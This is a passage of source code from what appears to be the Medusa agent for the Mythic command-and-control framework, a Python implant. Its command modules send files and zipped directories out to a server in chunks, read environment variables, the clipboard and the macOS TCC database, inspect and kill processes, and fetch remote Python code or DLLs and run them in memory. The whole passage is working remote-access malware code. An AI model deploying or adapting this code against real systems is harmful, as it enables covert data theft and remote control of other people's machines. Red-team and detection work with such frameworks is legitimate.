file_path = path if path[0] == os.sep \
else os.path.join(self.current_directory,path)
with open(file_path, 'r') as f:
content = f.readlines()
return ''.join(content)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/cd.py
================================================
def cd(self, task_id, path):
if path == "..":
self.current_directory = os.path.dirname(os.path.dirname(self.current_directory + os.sep))
else:
self.current_directory = path if path[0] == os.sep \
else os.path.abspath(os.path.join(self.current_directory,path))
================================================
FILE: Payload_Type/medusa/medusa/agent_code/clipboard.py2
================================================
def clipboard(self, task_id):
from Cocoa import NSPasteboard, NSStringPboardType
pboard = NSPasteboard.generalPasteboard()
pString = pboard.stringForType_(NSStringPboardType)
return str(pString).encode('utf8')
================================================
FILE: Payload_Type/medusa/medusa/agent_code/cp.py
================================================
def cp(self, task_id, source, destination):
import shutil
source_path = source if source[0] == os.sep \
else os.path.join(self.current_directory,source)
dest_path = destination if destination[0] == os.sep \
else os.path.join(self.current_directory,destination)
if os.path.isdir(source_path):
shutil.copytree(source_path, dest_path)
else:
shutil.copy(source_path, dest_path)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/cwd.py
================================================
def cwd(self, task_id):
return self.current_directory
================================================
FILE: Payload_Type/medusa/medusa/agent_code/download.py
================================================
def download(self, task_id, file):
file_path = file if file[0] == os.sep \
else os.path.join(self.current_directory,file)
file_size = os.stat(file_path).st_size
total_chunks = int(file_size / CHUNK_SIZE) + (file_size % CHUNK_SIZE > 0)
data = {
"action": "post_response",
"responses": [{
"task_id": task_id,
"download": {
"total_chunks": total_chunks,
"full_path": file_path,
"chunk_size": CHUNK_SIZE
}
}]
}
initial_response = self.postMessageAndRetrieveResponse(data)
file_id = initial_response["responses"][0]["file_id"]
chunk_num = 1
with open(file_path, 'rb') as f:
while True:
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."
content = f.read(CHUNK_SIZE)
if not content:
break # done
data = {
"action": "post_response",
"responses": [
{
"task_id": task_id,
"download": {
"chunk_num": chunk_num,
"file_id": file_id,
"chunk_data": base64.b64encode(content).decode()
}
}
]
}
chunk_num+=1
response = self.postMessageAndRetrieveResponse(data)
return json.dumps({
"agent_file_id": file_id
})
================================================
FILE: Payload_Type/medusa/medusa/agent_code/download_bulk.py
================================================
def download_bulk(self, task_id, path, mode="archive"):
"""
Bulk download files or a directory from the target machine.
Args:
task_id: The task identifier for this operation.
path: A file path, directory path, or JSON list of file paths (absolute paths).
mode: "iterative" to send files one by one, or "archive" to bundle into
an in-memory zip and send as a single file (default: "archive").
"""
import zipfile
import io
# Resolve the list of files to download.
# archive_base_dir is used in archive mode to compute relative arcnames that
# preserve the original directory structure inside the zip.
file_list = []
archive_base_dir = None
# Check if path is a list of files/directories
if isinstance(path, list):
for p in path:
abs_p = p if os.path.isabs(p) else os.path.join(self.current_directory, p)
if os.path.isdir(abs_p):
for root, dirs, files in os.walk(abs_p):
for fname in files:
file_list.append(os.path.join(root, fname))
else:
file_list.append(abs_p)
# Anchor arcnames at the filesystem root so each entry's full path is
# preserved inside the archive (e.g. "etc/nginx/nginx.conf").
archive_base_dir = os.sep
elif isinstance(path, str):
# Try to parse a JSON list from a string (backward compat)
stripped = path.strip()
if stripped.startswith("["):
try:
parsed = json.loads(stripped)
if isinstance(parsed, list):
for f in parsed:
abs_f = f if os.path.isabs(f) else os.path.join(self.current_directory, f)
if os.path.isdir(abs_f):
for root, dirs, files in os.walk(abs_f):
for fname in files:
file_list.append(os.path.join(root, fname))
else:
file_list.append(abs_f)
archive_base_dir = os.sep
else:
return "Invalid path value: {}".format(path)
except Exception as e:
return "Failed to parse path as JSON list: {} - {}".format(path, e)
else:
# Normalise to absolute path
abs_path = path if os.path.isabs(path) \
else os.path.join(self.current_directory, path)
if os.path.isdir(abs_path):
archive_base_dir = os.path.dirname(abs_path)
for root, dirs, files in os.walk(abs_path):
for fname in files:
file_list.append(os.path.join(root, fname))
elif os.path.isfile(abs_path):
archive_base_dir = os.path.dirname(abs_path)
file_list = [abs_path]
else:
return "Path does not exist or is not accessible: {}".format(abs_path)
else:
return "Invalid path argument type: {}".format(type(path))
if not file_list:
return "No files found to download."
# Cache the task reference once to avoid repeated O(n) lookups inside loops
task_ref = [task for task in self.taskings if task["task_id"] == task_id][0]
results = []
if mode == "iterative":
# Download each file individually using the same chunked approach as download()
for file_path in file_list:
if task_ref["stopped"]:
return "Job stopped."
if not os.path.isfile(file_path):
results.append("Skipped (not a file): {}".format(file_path))
continue
file_size = os.stat(file_path).st_size
total_chunks = int(file_size / CHUNK_SIZE) + (file_size % CHUNK_SIZE > 0)
data = {
"action": "post_response",
"responses": [{
"task_id": task_id,
"download": {
"total_chunks": total_chunks,
"full_path": file_path,
"chunk_size": CHUNK_SIZE
}
}]
}
initial_response = self.postMessageAndRetrieveResponse(data)
file_id = initial_response["responses"][0]["file_id"]
chunk_num = 1
with open(file_path, 'rb') as f:
while True:
if task_ref["stopped"]:
return "Job stopped."
content = f.read(CHUNK_SIZE)
if not content:
break
data = {
"action": "post_response",
"responses": [{
"task_id": task_id,
"download": {
"chunk_num": chunk_num,
"file_id": file_id,
"chunk_data": base64.b64encode(content).decode()
}
}]
}
chunk_num += 1
self.postMessageAndRetrieveResponse(data)
results.append(json.dumps({"agent_file_id": file_id, "file_path": file_path}))
return "\n".join(results)
else:
# Archive mode: build an in-memory zip and send it as a single file.
# Directory structure is preserved inside the archive using arcnames
# computed relative to archive_base_dir.
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, mode='w', compression=zipfile.ZIP_DEFLATED) as zf:
for file_path in file_list:
if task_ref["stopped"]:
return "Job stopped."
if not os.path.isfile(file_path):
continue
# Preserve the original directory structure: compute the path
# relative to archive_base_dir so that sub-directories appear as
# real zip entries (e.g. nginx/conf.d/default.conf) rather than
# flat names with underscores.
arcname = os.path.relpath(file_path, archive_base_dir)
zf.write(file_path, arcname)
zip_data = zip_buffer.getvalue()
zip_buffer.close()
archive_name = "download_bulk_{}.zip".format(task_id)
total_chunks = int(len(zip_data) / CHUNK_SIZE) + (len(zip_data) % CHUNK_SIZE > 0)
data = {
"action": "post_response",
"responses": [{
"task_id": task_id,
"download": {
"total_chunks": total_chunks,
"full_path": archive_name,
"chunk_size": CHUNK_SIZE
}
}]
}
initial_response = self.postMessageAndRetrieveResponse(data)
file_id = initial_response["responses"][0]["file_id"]
chunk_num = 1
offset = 0
while offset < len(zip_data):
if task_ref["stopped"]:
return "Job stopped."
chunk = zip_data[offset:offset + CHUNK_SIZE]
data = {
"action": "post_response",
"responses": [{
"task_id": task_id,
"download": {
"chunk_num": chunk_num,
"file_id": file_id,
"chunk_data": base64.b64encode(chunk).decode()
}
}]
}
chunk_num += 1
offset += CHUNK_SIZE
self.postMessageAndRetrieveResponse(data)
return json.dumps({"agent_file_id": file_id})
================================================
FILE: Payload_Type/medusa/medusa/agent_code/env.py
================================================
def env(self, task_id):
return "\n".join(["{}: {}".format(x, os.environ[x]) for x in os.environ])
================================================
FILE: Payload_Type/medusa/medusa/agent_code/eval_code.py
================================================
def eval_code(self, task_id, command):
return eval(command)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/exit.py
================================================
def exit(self, task_id):
os._exit(0)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/jobkill.py
================================================
def jobkill(self, task_id, target_task_id):
task = [task for task in self.taskings if task["task_id"] == target_task_id]
task[0]["stopped"] = True
================================================
FILE: Payload_Type/medusa/medusa/agent_code/jobs.py
================================================
def jobs(self, task_id):
out = [t.name.split(":") for t in threading.enumerate() \
if t.name != "MainThread" and "a2m" not in t.name \
and "m2a" not in t.name and t.name != "jobs:{}".format(task_id) ]
if len(out) > 0: return json.dumps({ "jobs": out })
else: return "No long running jobs!"
================================================
FILE: Payload_Type/medusa/medusa/agent_code/kill.py3
================================================
def kill(self, task_id, process_id):
import ctypes, ctypes.wintypes
from ctypes import GetLastError
NTSTATUS = ctypes.wintypes.LONG
def _check_bool(result, func, args):
if not result:
raise ctypes.WinError(ctypes.get_last_error())
return args
Kernel32 = ctypes.WinDLL('kernel32.dll')
OpenProcess = Kernel32.OpenProcess
OpenProcess.restype = ctypes.wintypes.HANDLE
CloseHandle = Kernel32.CloseHandle
CloseHandle.errcheck = _check_bool
TerminateProcess = Kernel32.TerminateProcess
TerminateProcess.restype = ctypes.wintypes.BOOL
PROCESS_TERMINATE = 0x0001
PROCESS_QUERY_INFORMATION = 0x0400
try:
hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_INFORMATION, False, process_id)
if hProcess:
TerminateProcess(hProcess, 1)
CloseHandle(hProcess)
except Exception as e:
return e
================================================
FILE: Payload_Type/medusa/medusa/agent_code/list_apps.py2
================================================
def list_apps(self, task_id):
import Cocoa
app_json = []
apps = Cocoa.NSWorkspace.sharedWorkspace().runningApplications()
for app in apps:
try:
app_data = { "pid": str(app.processIdentifier()), "name": str(app.localizedName()), "exec_url": str(app.executableURL()) }
app_json.append(app_data)
except: pass
return json.dumps({ "apps": app_json })
================================================
FILE: Payload_Type/medusa/medusa/agent_code/list_dlls.py3
================================================
def list_dlls(self, task_id, process_id=0):
import sys, os.path, ctypes, ctypes.wintypes
from ctypes import create_unicode_buffer, GetLastError
import re
import datetime
def _check_bool(result, func, args):
if not result:
raise ctypes.WinError(ctypes.get_last_error())
return args
PULONG = ctypes.POINTER(ctypes.wintypes.ULONG)
ULONG_PTR = ctypes.wintypes.LPVOID
SIZE_T = ctypes.c_size_t
NTSTATUS = ctypes.wintypes.LONG
PVOID = ctypes.wintypes.LPVOID
PROCESSINFOCLASS = ctypes.wintypes.ULONG
Kernel32 = ctypes.WinDLL('kernel32.dll')
OpenProcess = Kernel32.OpenProcess
OpenProcess.restype = ctypes.wintypes.HANDLE
CloseHandle = Kernel32.CloseHandle
CloseHandle.errcheck = _check_bool
GetCurrentProcess = Kernel32.GetCurrentProcess
GetCurrentProcess.restype = ctypes.wintypes.HANDLE
GetCurrentProcess.argtypes = ()
ReadProcessMemory = Kernel32.ReadProcessMemory
ReadProcessMemory.errcheck = _check_bool
ReadProcessMemory.argtypes = (
ctypes.wintypes.HANDLE,
ctypes.wintypes.LPCVOID,
ctypes.wintypes.LPVOID,
SIZE_T,
ctypes.POINTER(SIZE_T))
# WINAPI Definitions
PROCESS_VM_READ = 0x0010
PROCESS_QUERY_INFORMATION = 0x0400
ERROR_INVALID_HANDLE = 0x0006
ERROR_PARTIAL_COPY = 0x012B
WIN32_PROCESS_TIMES_TICKS_PER_SECOND = 1e7
MAX_PATH = 260
PROCESS_TERMINATE = 0x0001
PROCESS_QUERY_INFORMATION = 0x0400
ProcessBasicInformation = 0
ProcessDebugPort = 7
ProcessWow64Information = 26
ProcessImageFileName = 27
ProcessBreakOnTermination = 29
STATUS_UNSUCCESSFUL = NTSTATUS(0xC0000001)
STATUS_INFO_LENGTH_MISMATCH = NTSTATUS(0xC0000004).value
STATUS_INVALID_HANDLE = NTSTATUS(0xC0000008).value
STATUS_OBJECT_TYPE_MISMATCH = NTSTATUS(0xC0000024).value
class RemotePointer(ctypes._Pointer):
def __getitem__(self, key):
# TODO: slicing
size = None
if not isinstance(key, tuple):
raise KeyError('must be (index, handle[, size])')
if len(key) > 2:
index, handle, size = key
else:
index, handle = key
if isinstance(index, slice):
raise TypeError('slicing is not supported')
dtype = self._type_
offset = ctypes.sizeof(dtype) * index
address = PVOID.from_buffer(self).value + offset
simple = issubclass(dtype, ctypes._SimpleCData)
if simple and size is not None:
if dtype._type_ == ctypes.wintypes.WCHAR._type_:
buf = (ctypes.wintypes.WCHAR * (size // 2))()
else:
buf = (ctypes.c_char * size)()
else:
buf = dtype()
nread = SIZE_T()
Kernel32.ReadProcessMemory(handle,
address,
ctypes.byref(buf),
ctypes.sizeof(buf),
ctypes.byref(nread))
if simple:
return buf.value
return buf
_remote_pointer_cache = {}
def RPOINTER(dtype):
if dtype in _remote_pointer_cache:
return _remote_pointer_cache[dtype]
name = 'RP_%s' % dtype.__name__
ptype = type(name, (RemotePointer,), {'_type_': dtype})
_remote_pointer_cache[dtype] = ptype
return ptype
RPWSTR = RPOINTER(ctypes.wintypes.WCHAR)
class UNICODE_STRING(ctypes.Structure):
_fields_ = (('Length', ctypes.wintypes.USHORT),
('MaximumLength', ctypes.wintypes.USHORT),
('Buffer', RPWSTR))
class LIST_ENTRY(ctypes.Structure):
pass
RPLIST_ENTRY = RPOINTER(LIST_ENTRY)
LIST_ENTRY._fields_ = (('Flink', RPLIST_ENTRY),
('Blink', RPLIST_ENTRY))
class LDR_DATA_TABLE_ENTRY(ctypes.Structure):
_fields_ = (('Reserved1', PVOID * 2),
('InMemoryOrderLinks', LIST_ENTRY),
('Reserved2', PVOID * 2),
('DllBase', PVOID),
('EntryPoint', PVOID),
('Reserved3', PVOID),
('FullDllName', UNICODE_STRING),
('Reserved4', ctypes.wintypes.BYTE * 8),
('Reserved5', PVOID * 3),
('CheckSum', PVOID),
('TimeDateStamp', ctypes.wintypes.ULONG))
RPLDR_DATA_TABLE_ENTRY = RPOINTER(LDR_DATA_TABLE_ENTRY)
class PEB_LDR_DATA(ctypes.Structure):
_fields_ = (('Reserved1', ctypes.wintypes.BYTE * 8),
('Reserved2', PVOID * 3),
('InMemoryOrderModuleList', LIST_ENTRY))
RPPEB_LDR_DATA = RPOINTER(PEB_LDR_DATA)
class RTL_USER_PROCESS_PARAMETERS(ctypes.Structure):
_fields_ = (('Reserved1', ctypes.wintypes.BYTE * 16),
('Reserved2', PVOID * 10),
('ImagePathName', UNICODE_STRING),
('CommandLine', UNICODE_STRING))
RPRTL_USER_PROCESS_PARAMETERS = RPOINTER(RTL_USER_PROCESS_PARAMETERS)
PPS_POST_PROCESS_INIT_ROUTINE = PVOID
class PEB(ctypes.Structure):
_fields_ = (('Reserved1', ctypes.wintypes.BYTE * 2),
('BeingDebugged', ctypes.wintypes.BYTE),
('Reserved2', ctypes.wintypes.BYTE * 1),
('Reserved3', PVOID * 2),
('Ldr', RPPEB_LDR_DATA),
('ProcessParameters', RPRTL_USER_PROCESS_PARAMETERS),
('Reserved4', ctypes.wintypes.BYTE * 104),
('Reserved5', PVOID * 52),
('PostProcessInitRoutine', PPS_POST_PROCESS_INIT_ROUTINE),
('Reserved6', ctypes.wintypes.BYTE * 128),
('Reserved7', PVOID * 1),
('SessionId', ctypes.wintypes.ULONG))
RPPEB = RPOINTER(PEB)
class PROCESS_BASIC_INFORMATION(ctypes.Structure):
_fields_ = (('Reserved1', PVOID),
('PebBaseAddress', RPPEB),
('Reserved2', PVOID * 2),
('UniqueProcessId', ULONG_PTR),
('InheritedFromUniqueProcessId', ULONG_PTR))
def NtError(status):
import sys
descr = 'NTSTATUS(%#08x) ' % (status % 2**32,)
if status & 0xC0000000 == 0xC0000000:
descr += '[Error]'
elif status & 0x80000000 == 0x80000000:
descr += '[Warning]'
elif status & 0x40000000 == 0x40000000:
descr += '[Information]'
else:
descr += '[Success]'
if sys.version_info[:2] < (3, 3):
return WindowsError(status, descr)
return OSError(None, descr, None, status)
ntdll = ctypes.WinDLL('ntdll.dll')
NtQueryInformationProcess = ntdll.NtQueryInformationProcess
NtQueryInformationProcess.restype = NTSTATUS
NtQueryInformationProcess.argtypes = (
ctypes.wintypes.HANDLE,
PROCESSINFOCLASS,
PVOID,
ctypes.wintypes.ULONG,
PULONG)
class ProcessInformation(object):
_close_handle = False
_closed = False
_module_names = None
def __init__(self, process_id=None, handle=None):
if process_id is None and handle is None:
handle = GetCurrentProcess()
elif handle is None:
handle = OpenProcess(PROCESS_VM_READ |
PROCESS_QUERY_INFORMATION,
False, process_id)
self._close_handle = True
self._handle = handle
self._query_info()
if process_id is not None and not self._ldr:
return
def __del__(self, CloseHandle=CloseHandle):
if self._close_handle and not self._closed:
try:
CloseHandle(self._handle)
except WindowsError as e:
pass
self._closed = True
def _query_info(self):
info = PROCESS_BASIC_INFORMATION()
handle = self._handle
status = NtQueryInformationProcess(handle,
ProcessBasicInformation,
ctypes.byref(info),
ctypes.sizeof(info),
None)
if status < 0:
raise NtError(status)
self._peb = peb = info.PebBaseAddress[0, handle]
self._ldr = peb.Ldr[0, handle]
def _modules_iter(self):
headaddr = (PVOID.from_buffer(self._peb.Ldr).value +
PEB_LDR_DATA.InMemoryOrderModuleList.offset)
offset = LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.offset
pentry = self._ldr.InMemoryOrderModuleList.Flink
while pentry:
pentry_void = PVOID.from_buffer_copy(pentry)
if pentry_void.value == headaddr:
break
pentry_void.value -= offset
pmod = RPLDR_DATA_TABLE_ENTRY.from_buffer(pentry_void)
mod = pmod[0, self._handle]
yield mod
pentry = LIST_ENTRY.from_buffer(mod, offset).Flink
def update_module_names(self):
names = []
for m in self._modules_iter():
ustr = m.FullDllName
name = ustr.Buffer[0, self._handle, ustr.Length]
names.append(name)
self._module_names = names
@property
def module_names(self):
if self._module_names is None:
self.update_module_names()
return self._module_names
try:
if not process_id:
pi = ProcessInformation()
else:
pi = ProcessInformation(process_id)
return json.dumps({ "dlls": pi.module_names })
except Exception as e:
return e
================================================
FILE: Payload_Type/medusa/medusa/agent_code/list_modules.py
================================================
def list_modules(self, task_id, module_name=""):
if module_name:
if module_name in self.moduleRepo.keys():
return "\n".join(self.moduleRepo[module_name].namelist())
else: return "{} not found in loaded modules".format(module_name)
else:
return "\n".join(self.moduleRepo.keys())
================================================
FILE: Payload_Type/medusa/medusa/agent_code/list_tcc.py
================================================
def list_tcc(self,task_id,tcc=True, db="/Library/Application Support/com.apple.TCC/TCC.db"):
import sqlite3
with sqlite3.connect(db) as con:
columns = []
for row in con.execute('PRAGMA table_info("access")'):
columns.append(row)
tcc = []
for row in con.execute('SELECT * FROM "access"'):
tcc.append(row)
results = []
for entry in tcc:
line={}
count = 0
for ent in entry:
if columns[count][2] == "BLOB" and ent != None:
line[columns[count][1]] = base64.b64encode(ent).decode()
else: line[columns[count][1]] = str(ent)
count+=1
results.append(line)
tcc_results = {}
tcc_results["entries"] = results
return json.dumps({ "tcc": results })
================================================
FILE: Payload_Type/medusa/medusa/agent_code/load.py
================================================
def load(self, task_id, file_id, command):
total_chunks = 1
chunk_num = 0
cmd_code = ""
while (chunk_num < total_chunks):
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."
data = { "action": "post_response", "responses": [
{ "upload": { "chunk_size": CHUNK_SIZE, "file_id": file_id, "chunk_num": chunk_num+1 }, "task_id": task_id }
]}
response = self.postMessageAndRetrieveResponse(data)
chunk = response["responses"][0]
chunk_num+=1
total_chunks = chunk["total_chunks"]
cmd_code += base64.b64decode(chunk["chunk_data"]).decode()
if cmd_code:
exec(cmd_code.replace("\n ","\n")[4:])
setattr(medusa, command, eval(command))
cmd_list = [{"action": "add", "cmd": command}]
responses = [{ "task_id": task_id, "user_output": "Loaded command: {}".format(command), "commands": cmd_list, "completed": True }]
message = { "action": "post_response", "responses": responses }
response_data = self.postMessageAndRetrieveResponse(message)
else: return "Failed to upload '{}' command".format(command)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/load_dll.py
================================================
def load_dll(self, task_id, dllpath, dllexport):
from ctypes import WinDLL
dll_file_path = dllpath if dllpath[0] == os.sep \
else os.path.join(self.current_directory,dllpath)
loaded_dll = WinDLL(dll_file_path)
eval("{}.{}()".format("loaded_dll",dllexport))
return "[*] {} Loaded.".format(dllpath)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/load_module.py2
================================================
def load_module(self, task_id, file, module_name):
import zipfile, io
class CFinder(object):
def __init__(self, repoName, instance):
self.moduleRepo = instance.moduleRepo
self.repoName = repoName
self._source_cache = {}
def _get_info(self, repoName, fullname):
parts = fullname.split('.')
submodule = parts[-1]
modulepath = '/'.join(parts)
_search_order = [('.py', False), ('/__init__.py', True)]
for suffix, is_package in _search_order:
relpath = modulepath + suffix
try: self.moduleRepo[repoName].getinfo(relpath)
except KeyError: pass
else: return submodule, is_package, relpath
msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
raise ImportError(msg)
def _get_source(self, repoName, fullname):
submodule, is_package, relpath = self._get_info(repoName, fullname)
fullpath = '%s/%s' % (repoName, relpath)
if relpath in self._source_cache:
source = self._source_cache[relpath]
return submodule, is_package, fullpath, source
try:
source = self.moduleRepo[repoName].read(relpath)
source = source.replace(b'\r\n', b'\n')
source = source.replace(b'\r', b'\n')
self._source_cache[relpath] = source
return submodule, is_package, fullpath, source
except: raise ImportError("Unable to obtain source for module %s" % (fullpath))
def find_module(self, fullname, path=None):
try: submodule, is_package, relpath = self._get_info(self.repoName, fullname)
except ImportError: return None
else: return self
def load_module(self, fullname):
import imp
submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
code = compile(source, fullpath, 'exec')
mod = sys.modules.setdefault(fullname, imp.new_module(fullname))
mod.__loader__ = self
mod.__file__ = fullpath
mod.__name__ = fullname
if is_package: mod.__path__ = [os.path.dirname(mod.__file__)]
exec code in mod.__dict__
return mod
def get_data(self, fullpath):
prefix = os.path.join(self.repoName, '')
if not fullpath.startswith(prefix):
raise IOError('Path %r does not start with module name %r', (fullpath, prefix))
relpath = fullpath[len(prefix):]
try: return self.moduleRepo[self.repoName].read(relpath)
except KeyError: raise IOError('Path %r not found in repo %r' % (relpath, self.repoName))
def is_package(self, fullname):
"""Return if the module is a package"""
submodule, is_package, relpath = self._get_info(self.repoName, fullname)
return is_package
def get_code(self, fullname):
submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
return compile(source, fullpath, 'exec')
if module_name in self.moduleRepo.keys(): return "{} module already loaded.".format(module_name)
total_chunks = 1
chunk_num = 0
module_zip = bytearray()
while (chunk_num < total_chunks):
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."
data = { "action": "post_response", "responses": [
{ "upload": { "chunk_size": CHUNK_SIZE, "file_id": file, "chunk_num": chunk_num+1 }, "task_id": task_id }
]}
response = self.postMessageAndRetrieveResponse(data)
chunk = response["responses"][0]
total_chunks = chunk["total_chunks"]
chunk_num+=1
module_zip.extend(base64.b64decode(chunk["chunk_data"]))
if module_zip:
self.moduleRepo[module_name] = zipfile.ZipFile(io.BytesIO(module_zip))
if module_name not in self._meta_cache:
finder = CFinder(module_name, self)
self._meta_cache[module_name] = finder
sys.meta_path.append(finder)
else: return "Failed to download in-memory module"
================================================
FILE: Payload_Type/medusa/medusa/agent_code/load_module.py3
================================================
def load_module(self, task_id, file, module_name):
import zipfile, io
class CFinder(object):
def __init__(self, repoName, instance):
self.moduleRepo = instance.moduleRepo
self.repoName = repoName
self._source_cache = {}
def _get_info(self, repoName, fullname):
parts = fullname.split('.')
submodule = parts[-1]
modulepath = '/'.join(parts)
_search_order = [('.py', False), ('/__init__.py', True)]
for suffix, is_package in _search_order:
relpath = modulepath + suffix
try: self.moduleRepo[repoName].getinfo(relpath)
except KeyError: pass
else: return submodule, is_package, relpath
msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
raise ImportError(msg)
def _get_source(self, repoName, fullname):
submodule, is_package, relpath = self._get_info(repoName, fullname)
fullpath = '%s/%s' % (repoName, relpath)
if relpath in self._source_cache:
source = self._source_cache[relpath]
return submodule, is_package, fullpath, source
try:
source = self.moduleRepo[repoName].read(relpath)
source = source.replace(b'\r\n', b'\n')
source = source.replace(b'\r', b'\n')
self._source_cache[relpath] = source
return submodule, is_package, fullpath, source
except: raise ImportError("Unable to obtain source for module %s" % (fullpath))
def find_module(self, fullname, path=None):
try: submodule, is_package, relpath = self._get_info(self.repoName, fullname)
except ImportError: return None
else: return self
def load_module(self, fullname):
import types
submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
code = compile(source, fullpath, 'exec')
mod = sys.modules.setdefault(fullname, types.ModuleType(fullname))
mod.__loader__ = self
mod.__file__ = fullpath
mod.__name__ = fullname
if is_package:
mod.__path__ = [os.path.dirname(mod.__file__)]
exec(code, mod.__dict__)
return mod
def get_data(self, fullpath):
prefix = os.path.join(self.repoName, '')
if not fullpath.startswith(prefix):
raise IOError('Path %r does not start with module name %r', (fullpath, prefix))
relpath = fullpath[len(prefix):]
try:
return self.moduleRepo[self.repoName].read(relpath)
except KeyError:
raise IOError('Path %r not found in repo %r' % (relpath, self.repoName))
def is_package(self, fullname):
"""Return if the module is a package"""
submodule, is_package, relpath = self._get_info(self.repoName, fullname)
return is_package
def get_code(self, fullname):
submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
return compile(source, fullpath, 'exec')
if module_name in self.moduleRepo.keys():
return "{} module already loaded.".format(module_name)
total_chunks = 1
chunk_num = 0
module_zip = bytearray()
while (chunk_num < total_chunks):
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."
data = { "action": "post_response", "responses": [
{ "upload": { "chunk_size": CHUNK_SIZE, "file_id": file, "chunk_num": chunk_num+1 }, "task_id": task_id }
]}
response = self.postMessageAndRetrieveResponse(data)
chunk = response["responses"][0]
total_chunks = chunk["total_chunks"]
chunk_num+=1
module_zip.extend(base64.b64decode(chunk["chunk_data"]))
if module_zip:
self.moduleRepo[module_name] = zipfile.ZipFile(io.BytesIO(module_zip))
if module_name not in self._meta_cache:
finder = CFinder(module_name, self)
self._meta_cache[module_name] = finder
sys.meta_path.append(finder)
else: return "Failed to download in-memory module"
================================================
FILE: Payload_Type/medusa/medusa/agent_code/load_script.py
================================================
def load_script(self, task_id, file):
total_chunks = 1
chunk_num = 0
cmd_code = ""
while (chunk_num < total_chunks):
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."
data = { "action": "post_response", "responses": [
{ "upload": { "chunk_size": CHUNK_SIZE, "file_id": file, "chunk_num": chunk_num+1 }, "task_id": task_id }
]}
response = self.postMessageAndRetrieveResponse(data)
chunk = response["responses"][0]
chunk_num+=1
total_chunks = chunk["total_chunks"]
cmd_code += base64.b64decode(chunk["chunk_data"]).decode()
if cmd_code: exec(cmd_code)
else: return "Failed to load script"
================================================
FILE: Payload_Type/medusa/medusa/agent_code/ls.py2
================================================
def ls(self, task_id, path, file_browser=False):
if path == ".": file_path = self.current_directory
else: file_path = path if path[0] == os.sep \
else os.path.join(self.current_directory,path)
file_details = os.stat(file_path)
target_is_file = os.path.isfile(file_path)
target_name = os.path.basename(file_path.rstrip(os.sep)) if file_path != os.sep else os.sep
file_browser = {
"host": socket.gethostname(),
"is_file": target_is_file,
"permissions": {"octal": oct(file_details.st_mode)[-3:]},
"name": target_name if target_name not in [".", "" ] \
else os.path.basename(self.current_directory.rstrip(os.sep)),
"parent_path": os.path.abspath(os.path.join(file_path, os.pardir)),
"success": True,
"access_time": int(file_details.st_atime * 1000),
"modify_time": int(file_details.st_mtime * 1000),
"size": file_details.st_size,
"update_deleted": True,
}
files = []
if not target_is_file:
for entry in os.listdir(file_path):
full_path = os.path.join(file_path, entry)
file = {}
file['name'] = entry
file['is_file'] = True if os.path.isfile(full_path) else False
try:
file_details = os.stat(full_path)
file["permissions"] = { "octal": oct(file_details.st_mode)[-3:]}
file["access_time"] = int(file_details.st_atime * 1000)
file["modify_time"] = int(file_details.st_mtime * 1000)
file["size"] = file_details.st_size
except OSError as e:
pass
files.append(file)
file_browser["files"] = files
task = [task for task in self.taskings if task["task_id"] == task_id]
task[0]["file_browser"] = file_browser
output = { "files": files, "parent_path": os.path.abspath(os.path.join(file_path, os.pardir)), "name": target_name if target_name not in [".", ""] \
else os.path.basename(self.current_directory.rstrip(os.sep)) }
return json.dumps(output)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/ls.py3
================================================
def ls(self, task_id, path, file_browser=False):
if path == ".": file_path = self.current_directory
else: file_path = path if path[0] == os.sep \
else os.path.join(self.current_directory,path)
file_details = os.stat(file_path)
target_is_file = os.path.isfile(file_path)
target_name = os.path.basename(file_path.rstrip(os.sep)) if file_path != os.sep else os.sep
file_browser = {
"host": socket.gethostname(),
"is_file": target_is_file,
"permissions": {"octal": oct(file_details.st_mode)[-3:]},
"name": target_name if target_name not in [".", "" ] \
else os.path.basename(self.current_directory.rstrip(os.sep)),
"parent_path": os.path.abspath(os.path.join(file_path, os.pardir)),
"success": True,
"access_time": int(file_details.st_atime * 1000),
"modify_time": int(file_details.st_mtime * 1000),
"size": file_details.st_size,
"update_deleted": True,
}
files = []
if not target_is_file:
with os.scandir(file_path) as entries:
for entry in entries:
file = {}
file['name'] = entry.name
file['is_file'] = True if entry.is_file() else False
try:
file_details = os.stat(os.path.join(file_path, entry.name))
file["permissions"] = { "octal": oct(file_details.st_mode)[-3:]}
file["access_time"] = int(file_details.st_atime * 1000)
file["modify_time"] = int(file_details.st_mtime * 1000)
file["size"] = file_details.st_size
except OSError as e:
pass
files.append(file)
file_browser["files"] = files
task = [task for task in self.taskings if task["task_id"] == task_id]
task[0]["file_browser"] = file_browser
output = { "files": files, "parent_path": os.path.abspath(os.path.join(file_path, os.pardir)), "name": target_name if target_name not in [".", ""] \
else os.path.basename(self.current_directory.rstrip(os.sep)) }
return json.dumps(output)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/mv.py
================================================
def mv(self, task_id, source, destination):
import shutil
source_path = source if source[0] == os.sep \
else os.path.join(self.current_directory,source)
dest_path = destination if destination[0] == os.sep \
else os.path.join(self.current_directory,destination)
shutil.move(source_path, dest_path)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/pip_freeze.py
================================================
def pip_freeze(self, task_id):
out=""
try:
import pkg_resources
installed_packages = pkg_resources.working_set
installed_packages_list = sorted(["%s==%s" % (i.key, i.version) for i in installed_packages])
return "\n".join(installed_packages_list)
except:
out+="[*] pkg_resources module not installed.\n"
try:
from pip._internal.operations.freeze import freeze
